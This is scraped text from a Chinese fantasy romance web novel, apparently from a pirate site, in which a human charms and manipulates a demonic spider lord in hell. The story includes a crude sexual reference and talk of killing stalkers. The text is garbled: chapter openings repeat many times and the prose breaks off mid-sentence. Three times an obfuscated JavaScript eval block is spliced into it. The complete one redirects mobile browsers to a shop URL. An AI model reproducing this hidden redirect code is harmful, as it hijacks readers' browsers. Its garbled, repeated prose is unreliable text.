盛玉年惊奇地笑了起来,带着忧郁的神色:“我想,既然我已经没得选,为什么不到里面碰碰运气呢?嗯,然后我站在了这儿,峰回路转,我觉得自己还是有一点走运的。” 穆赫特已经情不自禁地被他的声音所吸引。 牠的势力范围早就被圈死在了蛛巢暗渊,曾经属于蜘蛛的领地,都被其他大恶魔的势力蚕食得差不多了。穆赫特从未上过地面,牠虽然也可以通过小蜘蛛的耳目,观测到地面的详细情况,但那跟“亲身经历”的感受,还是有所不同的。 盛玉年接着说:“一开始,我确实非常害怕你,我也知道,要在地狱里寻求安稳的生活,是个幼稚到了极点的想法,可是……过去的两个星期真的就像做梦一样。天啊,我居然能在这儿拥有稳定的工作,食物,还有安全的睡眠环境!我不知道该怎么形容这一 切,我不知道该怎么……该怎么感激你。我完全明白,假如不是你的默许,我根本得不到这些优厚的条件。 话到结尾,他的声线已然发颤。 穆赫特不知道自己是怎么了。 或许是自己太孤独,太冷清,太久没有和他人交流;大概是牠身为巢穴的主人,却得不到居民的一点尊重;也可能是因为牠早已尽到身为领主的职责,织造了峭壁上的一座都城去庇护眷族,可换来的只有牠们的嘲笑和蔑视…… 无论如何,听到如此真挚的谢意,牠的心——不管哪颗心——都不受使唤微微地发热,仿佛被一双手妥帖地抱进怀中。 “女士在那天救了我,我当然很感激她,但我真的不知道,她下一次还能不能及时赶来。盛玉年吸了吸鼻子,扶着蛛丝坐下来,将头倚在上面,“今天,我本以为自己会死在那里…… 他沉默片刻,调整情绪,露出会心的一笑:“恶魔也和人一样八卦,对不对?理解了牠们说的话以后,我听到了很多闲言碎语…… 穆赫特的眼神变得寒冷。 “可是,我并不认识牠们口中的那个‘穆赫特’呀!盛玉年微笑着说,“我只认识一个穆赫特,那就是给了我一个容身之处,愿意在我最危难的时候出手相救的那个穆赫特。一想到这点,我就更觉得闲言碎语很可笑了! 穆赫特的眉心微微一动,这血色的魔蛛,竟陡然变得有点不知所措。 “反正,盛玉年挠挠头,“我想跟你说的就是这些啦。谢谢你不嫌我啰嗦,哈哈,可能你已经听烦了,听睡着了吧…… 他叹口气,又神采飞扬地说:“总之谢谢你!谢你一千次,一万次都不够!我不打扰你啦,请你好好休息。 说着,他如同卸下一个沉重的包袱,轻快地跑回了家中。 盛玉年是轻松了,在他身后,穆赫特却时而皱眉,时而恍惚,时而目露凶光,时而怔怔出神……好像成了个困惑的傻瓜,只在蛛网中央转来转去。 他……他到底是什么意思?我知道人类是为了感谢我才来的,可他刚才是在赞美我吗? 穆赫特自然不可能亲口去问询人类,牠像含着猎物的血肉一样,把人类说的那些话在唇齿间翻来覆去地吮吸,翻来覆去地回味,然而总也得不到答案,只好自个儿闷闷地生气。 另一边,盛玉年的豢养蜘蛛计划终于往前推进了一截,一时间春风得意,脸上的笑容都多了不少,委实是难得的真情流露。 他一心只想着把蜘蛛巢里最珍贵的那只 大蜘蛛钓走,既然穆赫特没有在那天晚上把他直接丢出去,他立刻就得寸进尺地调整了计划细节——每天结束工作了,他都要跑到魔蛛的巢里坐下,和对方说上好半天的话,也不管那是不是单机聊天。 盛玉年总有许多事情可以聊,当明星当演员,全要在交际场合长袖善舞,做到人人爱慕,人人赞叹才行。他聊工作,聊社交,聊他以前亲身经历过的娱乐圈八卦,还有里头沽名钓誉,丑态百出的形色众生。 不管穆赫特有没有回应,盛玉年都拿出十二万分的热情去兴致勃勃地讲述,他的声音动听,语气带着恰到好处的诙谐,讲起那些曲折离奇的故事,又是那么得妙语连珠,仿佛世上再没有比他更讨人喜欢的存在。 提起一些特别愚蠢的人,还有他们犯下的好笑蠢事的时候,他也先强忍着笑声,说完挖苦的俏皮话,然后才控制不住地开怀大笑。这纯粹的,不加掩饰的欢乐,实在让地狱里的大恶魔也压不住嘴角,在黑暗里兀自发笑。 有一天晚上,盛玉年说到他的粉丝。 他用抱怨的口吻讲述起那些尤为狂热的粉丝群体,只不过,有些人的抱怨是不管不顾地倾泻一通,而有些人的抱怨,则是为了让人又怜惜,又敬重才说的。 “……跟踪了大概几百次吧,那时候我还不算很出名,住的公寓也蛮普通的,他们连我的左邻右舍都一块儿打扰,我每天早起上班赶通告,晚上回家就看看还有哪个邻居没睡,上门去鞠躬致歉,说实在对不起,我一定会约束好他们。盛玉年感慨地笑了,“其实哪能约束得住?你不知道,讨厌我的人往我家里寄过花圈,带鸡血狗血的纸钱,以及遗照——哦,全是给死人用的,他们咒我快点死呢,虽然他们这会儿可算是如愿了。 他笑了一阵,再掰着手指头给穆赫特数:“至于喜欢我的人,唉,寄信啊,抱枕啊,还有鲜花的,我都收起来了,都是心意。但是另一些脑子不太正常的…… 盛玉年深深地叹了口气,表情疲倦,好半天没说话。 他没注意到,在他沉默的这段时间,那头无比高大,宛如染血的蜘蛛巢主人,已经悄然无声地走出了蛛网,迈动八条足肢,来到他身后。 “……另一些脑子不太正常的, 液。 他把那个难以启齿的词说出口之后,自己先按住了太阳穴,看起来简直身心俱疲。 “你没有杀了他们?血红的魔蛛突然开口,将盛玉年惊地猛一回头。 这不是演戏,他是真的惊着了。 盛玉年震惊地张了张嘴,不知该说什么,但魔蛛低头看着他,目光再也没有初见时的暴戾,反而平静得多。 牠的声音低沉浑厚,尾音含着嘶嘶作响的低语,仿佛每说一个字,就有成群的毒蛛在阴影中起伏。 “……没,没有,”盛玉年喃喃道,“杀人是犯法的,我不能这么做。” 穆赫特离他非常近,近到他可以瞥见蜘蛛足肢上的锋利倒钩闪烁寒光,看清牠腹板上黑红相间的繁奥纹路,宛如古老的咒言一样交错缠绕。 “可惜了,”穆赫特若无其事地说,“如果你不想跟他们交 媾,他们的行为和下战书没什么差别。按照蛛巢的法则,你完全可以杀光他们,剥下他们的皮做脚垫。” 盛玉年一下笑出了声。 他乐不可支地笑了半天,才抬起手背,按住发红的脸颊,低声说:“你……您都听见了。” “嗯。”穆赫特说。 “不用敬语,蜘蛛不追求繁琐礼节。”牠又说。 盛玉年的脸似乎更红了,他窘迫地解释道:“我一开始是为了排解寂寞,毕竟在这儿也没人陪我说话。你不觉得吵耳朵就行,我……” 犹如一个见到自推,舌头不知道往哪儿放,四肢不知道怎么摆的小粉丝——盛玉年演起这种角色,实在手到拈来,闭着眼睛也能上,最后,他不再说话了,只是抬头望着穆赫特,用上挑的眼尾惹一惹牠的目光,再一本正经地转过头去,瞧着远方的灯光微笑。 难道他的眼神真有魔力吗?可我探查多日,知道他不过是地狱中最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13546275|130309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 普通,最随处可见的罪人而已。 人类的眼神恰似羽毛,穆赫特的心尖被这片羽毛搔得发痒,忍不住就想把这个问题问出口。 然而,现在的气氛有点……怎么说,太好了?牠听着人类的血流和心跳,能感受到他慢慢升温的体温,闻到他身上没有恐惧,反而跟血酒一样醇香欲醉的气息。远处灯光晦暗,夜风宁静,牠的情绪同时难得地平稳下来,感受到一种难言的静谧。 所以,牠没有说话,人类亦沉默着。 “我该回去睡觉了,”不知过了多久,人类站起来,依依不舍地说,“明天我还得去工作……” 穆赫特立刻就想说“待在这里陪我,这就是你唯一的工作”,可是,当人类转过头看牠的时候,眼睛亮过牠所见的一切宝石,一下就叫魔蛛的话哑在喉咙里。 “谢谢你!今晚我真的很开心!”人类笑着喊道,冲牠挥挥手, “对了,我叫盛玉年!记住我的名字,别再‘人类’‘人类’地喊我啦!” 人类跑回家了,穆赫特还在沉思。 他怎么知道我一直“人类”“人类”地喊他? · 盛玉年的生活过得更惬意。 虽说耐心的猎人会等待猎物自己走进陷阱,可是既然能时不时地跟猎物玩耍一番,谁还要去过以前眼巴巴张望的苦日子? 从那天穆赫特主动现身,跟他说过话之后,盛玉年直接自作主张,开始在小山般的蛛丝巢上制作楼梯,方便他更快地上下串门。 他一点点地蚕食着魔蛛的生活边界,而他的猎物非但没有察觉,反而叫了一些小蜘蛛帮他修建楼梯,盛玉年的笑意差点就没憋住,险些得意忘形,溢得满脸都是。 他们聊天的内容也越来越五花八门,这一天,盛玉年在坟场遇到了一对双胞胎姐妹,牠们在“吃饭”的时候丢了一块铭文配饰,吵吵闹闹地跑到坟场来找,恰巧碰到他在。 盛玉年是个不显山,不露水的完美主义者,哪怕管理坟场,也要做到一丝不苟,让恶魔挑不出错。所以,当他领着那堆双胞胎来到他临时搭建的骨头棚屋,看到里头一堆摆放整齐,丢失无主的各色配饰,小刀,挂件,宝石胸针,等等等等时,恶魔姐妹不由惊呆了。 牠们在里头找回了自己的小玩意儿,同样对盛玉年这个罪人十分欣赏,两边相谈甚欢,回去之后,盛玉年就把这件新鲜事告诉了穆赫特。 “……姐姐叫白墓,妹妹叫红苔,”盛玉年笑着说,“长得很像我小时候看得一个动画片里的蛇精……啊,忘了你没看过,反正很漂亮,也很让人害怕。她们身上的花纹是紫色的,尖刺的形状,就像这样……” “那是猛毒者,”听见人类夸赞别的蜘蛛漂亮,穆赫特心里十分不屑,“只能勉强称得上不丑,但牠们的毒性很强,你……要注意,不能靠太近。” 和人类交流的这段时日,牠开始尝试着表达笨拙的关心,因为穆赫特发现,每当牠这样做,人类的双眼就会又惊又喜地亮起来,像火焰一样灼灼地闪耀。 牠喜欢看。 盛玉年的眼睛果真盈满了欢喜,他笑着说:“你知道得真多。” “我是蜘蛛巢的领主。”穆赫特低声说,“我应该知道这些。” 盛玉年没有说话,片刻后,他同样压低了声音,声音些许发颤地道:“有些人认为……认为博闻广识的人是非常有吸引力的。” 他忽然大胆地说:“我认同这样的看法。” 穆赫特愣了一下,牠低下头,看见人类的目光定定地锁着自己。 那双乌黑的眼睛就像深不见底的漩涡,要将看到的一切都攫取进去,哪怕是对象一整个地狱,它们也势在必得。 不等穆赫特说什么,人类的勇气似乎又一下用光了,他胆大包天地挑逗完地狱里最危险的掠食者,结果自己先红着脸,着急忙慌地站起来说:“我、我要回去睡觉!” 然后,他就真的这么跑掉了! 穆赫特的足肢攒动,被激得一下立起来,牠迅猛地追击过去,人类脚下的蛛丝也像活物般窜起来,缠住了他的脚踝。 魔蛛一把捏着人类的腰——那么细,仿佛牠的一只爪子就能完全合拢,不依不饶地逼问道:“你刚才说的是什么意思?你在赞美我,还是在嘲笑我?” 盛玉年两眼水汪汪,他被魔蛛按在身下,真像个任人摆布的小玩偶一样,他急忙哀求:“我没有嘲笑你!只是我说话不妥当,不该这么对你说……放了我吧,好不好?” 作者有话要说 【(塞饭)(塞累了)(明天再继续塞)】 第 77 章 塔兰泰拉喜剧(七) 第77章塔兰泰拉喜剧(七) 在蜘蛛身上,不仅覆盖着感觉声音、振动的听毛,更有能够判断气息的味毛。作为嗅觉神经的末梢,雄蛛味毛的重要作用之一,就是追踪雌蛛爬过时残留的气息,在蜘蛛的发情期,这是必不可少的重要器官。 此刻,穆赫特已经尝到了空气中的味道,人类的味道。 第77章塔兰泰拉喜剧(七) 在蜘蛛身上,不仅覆盖着感觉声音、振动的听毛,更有能够判断气息的味毛。作为嗅觉神经的末梢,雄蛛味毛的重要作用之一,就是追踪雌蛛爬过时残留的气息,在蜘蛛的发情期,这是必不可少的重要器官。 此刻,穆赫特已经尝到了空气中的味道,人类的味道。 第77章塔兰泰拉喜剧(七) 在蜘蛛身上,不仅覆盖着感觉声音、振动的听毛,更有能够判断气息的味毛。作为嗅觉神经的末梢,雄蛛味毛的重要作用之一,就是追踪雌蛛爬过时残留的气息,在蜘蛛的发情期,这是必不可少的重要器官。 此刻,穆赫特已经尝到了空气中的味道,人类的味道。 第77章塔兰泰拉喜剧(七) 在蜘蛛身上,不仅覆盖着感觉声音、振动的听毛,更有能够判断气息的味毛。作为嗅觉神经的末梢,雄蛛味毛的重要作用之一,就是追踪雌蛛爬过时残留的气息,在蜘蛛的发情期,这是必不可少的重要器官。 此刻,穆赫特已经尝到了空气中的味道,人类的味道。 第77章塔兰泰拉喜剧(七) 在蜘蛛身上,不仅覆盖着感觉声音、振动的听毛,更有能够判断气息的味毛。作为嗅觉神经的末梢,雄蛛味毛的重要作用之一,就是追踪雌蛛爬过时残留的气息,在蜘蛛的发情期,这是必不可少的重要器官。 此刻,穆赫特已经尝到了空气中的味道,人类的味道。 第77章塔兰泰拉喜剧(七) 在蜘蛛身上,不仅覆盖着感觉声音、振动的听毛,更有能够判断气息的味毛。作为嗅觉神经的末梢,雄蛛味毛的重要作用之一,就是追踪雌蛛爬过时残留的气息,在蜘蛛的发情期,这是必不可少的重要器官。 此刻,穆赫特已经尝到了空气中的味道,人类的味道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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第81章塔兰泰拉喜剧(十一) “怎么不说话?”盛玉年微笑道,他摩挲着穆赫特的面颊,恶魔的皮肤红如熔岩,高温几乎要烫伤他的手,但是没关系,驯养的强烈快乐压倒性地盖过了其他感官,盛玉年一心一意,专心致志地沉浸其中,眼睛闪闪发亮。 穆赫特意识昏沉,牠张开嘴,吐出的舌头犹如三股分叉盘旋的毒蛇,只是虚弱地搭在嘴唇上。 第81章塔兰泰拉喜剧(十一) “怎么不说话?”盛玉年微笑道,他摩挲着穆赫特的面颊,恶魔的皮肤红如熔岩,高温几乎要烫伤他的手,但是没关系,驯养的强烈快乐压倒性地盖过了其他感官,盛玉年一心一意,专心致志地沉浸其中,眼睛闪闪发亮。 穆赫特意识昏沉,牠张开嘴,吐出的舌头犹如三股分叉盘旋的毒蛇,只是虚弱地搭在嘴唇上。 第81章塔兰泰拉喜剧(十一) “怎么不说话?”盛玉年微笑道,他摩挲着穆赫特的面颊,恶魔的皮肤红如熔岩,高温几乎要烫伤他的手,但是没关系,驯养的强烈快乐压倒性地盖过了其他感官,盛玉年一心一意,专心致志地沉浸其中,眼睛闪闪发亮。 穆赫特意识昏沉,牠张开嘴,吐出的舌头犹如三股分叉盘旋的毒蛇,只是虚弱地搭在嘴唇上。 第81章塔兰泰拉喜剧(十一) “怎么不说话?”盛玉年微笑道,他摩挲着穆赫特的面颊,恶魔的皮肤红如熔岩,高温几乎要烫伤他的手,但是没关系,驯养的强烈快乐压倒性地盖过了其他感官,盛玉年一心一意,专心致志地沉浸其中,眼睛闪闪发亮。 穆赫特意识昏沉,牠张开嘴,吐出的舌头犹如三股分叉盘旋的毒蛇,只是虚弱地搭在嘴唇上。 第81章塔兰泰拉喜剧(十一) “怎么不说话?”盛玉年微笑道,他摩挲着穆赫特的面颊,恶魔的皮肤红如熔岩,高温几乎要烫伤他的手,但是没关系,驯养的强烈快乐压倒性地盖过了其他感官,盛玉年一心一意,专心致志地沉浸其中,眼睛闪闪发亮。 穆赫特意识昏沉,牠张开嘴,吐出的舌头犹如三股分叉盘旋的毒蛇,只是虚弱地搭在嘴唇上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“怎么不说话?”盛玉年微笑道,他摩挲着穆赫特的面颊,恶魔的皮肤红如熔岩,高温几乎要烫伤他的手,但是没关系,驯养的强烈快乐压倒性地盖过了其他感官,盛玉年一心一意,专心致志地沉浸其中,眼睛闪闪发亮。 穆赫特意识昏沉,牠张开嘴,吐出的舌头犹如三股分叉盘旋的毒蛇,只是虚弱地搭在嘴唇上。 第81章塔兰泰拉喜剧(十一) “怎么不说话?”盛玉年微笑道,他摩挲着穆赫特的面颊,恶魔的皮肤红如熔岩,高温几乎要烫伤他的手,但是没关系,驯养的强烈快乐压倒性地盖过了其他感官,盛玉年一心一意,专心致志地沉浸其中,眼睛闪闪发亮。 穆赫特意识昏沉,牠张开嘴,吐出的舌头犹如三股分叉盘旋的毒蛇,只是虚弱地搭在嘴唇上。 第81章塔兰泰拉喜剧(十一) “怎么不说话?”盛玉年微笑道,他摩挲着穆赫特的面颊,恶魔的皮肤红如熔岩,高温几乎要烫伤他的手,但是没关系,驯养的强烈快乐压倒性地盖过了其他感官,盛玉年一心一意,专心致志地沉浸其中,眼睛闪闪发亮。 穆赫特意识昏沉,牠张开嘴,吐出的舌头犹如三股分叉盘旋的毒蛇,只是虚弱地搭在嘴唇上。 第81章塔兰泰拉喜剧(十一) “怎么不说话?”盛玉年微笑道,他摩挲着穆赫特的面颊,恶魔的皮肤红如熔岩,高温几乎要烫伤他的手,但是没关系,驯养的强烈快乐压倒性地盖过了其他感官,盛玉年一心一意,专心致志地沉浸其中,眼睛闪闪发亮。 穆赫特意识昏沉,牠张开嘴,吐出的舌头犹如三股分叉盘旋的毒蛇,只是虚弱地搭在嘴唇上。 第81章塔兰泰拉喜剧(十一) “怎么不说话?”盛玉年微笑道,他摩挲着穆赫特的面颊,恶魔的皮肤红如熔岩,高温几乎要烫伤他的手,但是没关系,驯养的强烈快乐压倒性地盖过了其他感官,盛玉年一心一意,专心致志地沉浸其中,眼睛闪闪发亮。 穆赫特意识昏沉,牠张开嘴,吐出的舌头犹如三股分叉盘旋的毒蛇,只是虚弱地搭在嘴唇上。 第81章塔兰泰拉喜剧(十一) “怎么不说话?”盛玉年微笑道,他摩挲着穆赫特的面颊,恶魔的皮肤红如熔岩,高温几乎要烫伤他的手,但是没关系,驯养的强烈快乐压倒性地盖过了其他感官,盛玉年一心一意,专心致志地沉浸其中,眼睛闪闪发亮。 穆赫特意识昏沉,牠张开嘴,吐出的舌头犹如三股分叉盘旋的毒蛇,只是虚弱地搭在嘴唇上。 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